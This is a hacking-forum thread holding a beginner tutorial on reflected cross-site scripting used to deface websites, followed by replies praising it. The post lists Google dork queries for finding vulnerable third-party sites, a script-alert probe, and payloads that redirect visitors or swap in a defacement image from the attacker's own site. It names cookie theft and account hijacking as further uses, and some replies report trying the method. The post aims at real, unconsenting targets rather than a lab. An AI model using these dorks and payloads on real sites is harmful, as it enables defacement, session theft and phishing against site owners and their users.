Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Beginner XSS Deface Guide

What is XSS?

cross-site scripting (XSS) is a type of website security vulnerability
typically found in web applications that enables client-side script into
web pages viewed by other users. An exploited cross-site scripting
vulnerability can be used by attackers to bypass access controls such as
the same origin policy.

Types of XSS vulnerabilities:
1.Persistent
2.Non persistent

In this post, I'll explain about the non persistent vulnerability.

Non persistent XSS vulnerability is the Most Common Type of XSS Flaw. It is a Server Side Vulnerability

When a Web Server takes any input from a User and returns the same back
to the User without any Validation, This leads to a Non-Persistent XSS
Vulnerability.

XSS Attacks be used for the following:
•Compromising and Hijacking Accounts

•Stealing User Cookie

•Defacing Websites

•Phishing Attacks

•Posting Hostile Content

Instructions:
Step 1: First of all find the vulnerablitiy using google dorks. You can find dorks online.
Code
Most commonly used dorks are as follow:
inurl:com_feedpostold/feedpost.php?url=
inurl:/products/orkutclone/scrapbook.php?id=
inurl:/products/classified/headersearch.php?sid=
inurl:/poll/default.asp?catid=
inurl:/search_results.php?search=Search&k=

Step 2: Choose a target website:
To do so use the Google Dorks above and once you find a website, refer below for the next step in the process.

Find out the vulnerability:
1)Find a textbox in the site or something where you can submit text.
2)Type in the following and hit Submit Query button.
Code
<script>alert("hit");</script>
3)If it's vulnerable it will show an alert box with the word "hit" inside it.

Defacing:
There are few ways which can be used to deface a site when you find a XSS vulnerability.

1) Makes A Picture Pop-Up:
Code
<script>location="www.website.com/yourdefacepic";</script>

2) Replace The Content Of The Page By An Image:
Code
<img src="yoursite.com/yourdefacepic/>

3)Redirect To A Website
Code
<script>window.location="http://www.yoursite.com"</script>

Hmm, looks pretty nice.
Will take a look tomorrow.
Now I know what you meant when you said you will lose something valuable.
(Aug 8, 2014 05:20 PM)Vanilja Wrote:  Hmm, looks pretty nice.
Will take a look tomorrow.

Take your time, Katy. It's fairly straighforward.
Thanks, Learned a few things..!! but its really only changing javascript or html.. Do you know any good persistant xss tuts?
(Aug 8, 2014 05:59 PM)๖ۣۜDutchOps Wrote:  Thanks, Learned a few things..!! but its really only changing javascript or html.. Do you know any good persistant xss tuts?

I really don't know any good persistant xss tuts to refer you to. I guess use google.
(Aug 8, 2014 06:47 PM)WarOnDrugs Wrote:  I really don't know any good persistant xss tuts to refer you to. I guess use google.

nice tut bro :D u know any good vulnerability scanner for XSS , SQLi ?
Very basic and straight to the point guide, thanks for posting this.
Cool tutorial, never really gotten into XSS but I will try this :)
(Aug 12, 2014 02:28 PM)joneh heil Wrote:  Cool tutorial, never really gotten into XSS but I will try this :)

It's good just to play around with even, or just to learn something new.

(Aug 12, 2014 01:13 PM)Powindah Wrote:  Very basic and straight to the point guide, thanks for posting this.

No worries my man. Hopefully you found it of some use.
Basic, yet informative and well structured guide. Sounds perfect for beginners!
Thanks for sharing. Will try this out
Nice and clean guide! :) Thanks for this one!
Great tutorial buddy, I've tested It and is working perfectly.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[The Brotherhood] by PοιsonlεafApr 12, 2026 10:28 PM 36 6,258 Apr 12, 2026 10:28 PM
Last Post: RTM008
by ChorozonMar 6, 2025 07:59 AM 6 882 Mar 6, 2025 07:59 AM
Last Post: samasugeti
by DopedUpNov 27, 2024 12:03 AM 14 1,643 Nov 27, 2024 12:03 AM
Last Post: mikeyp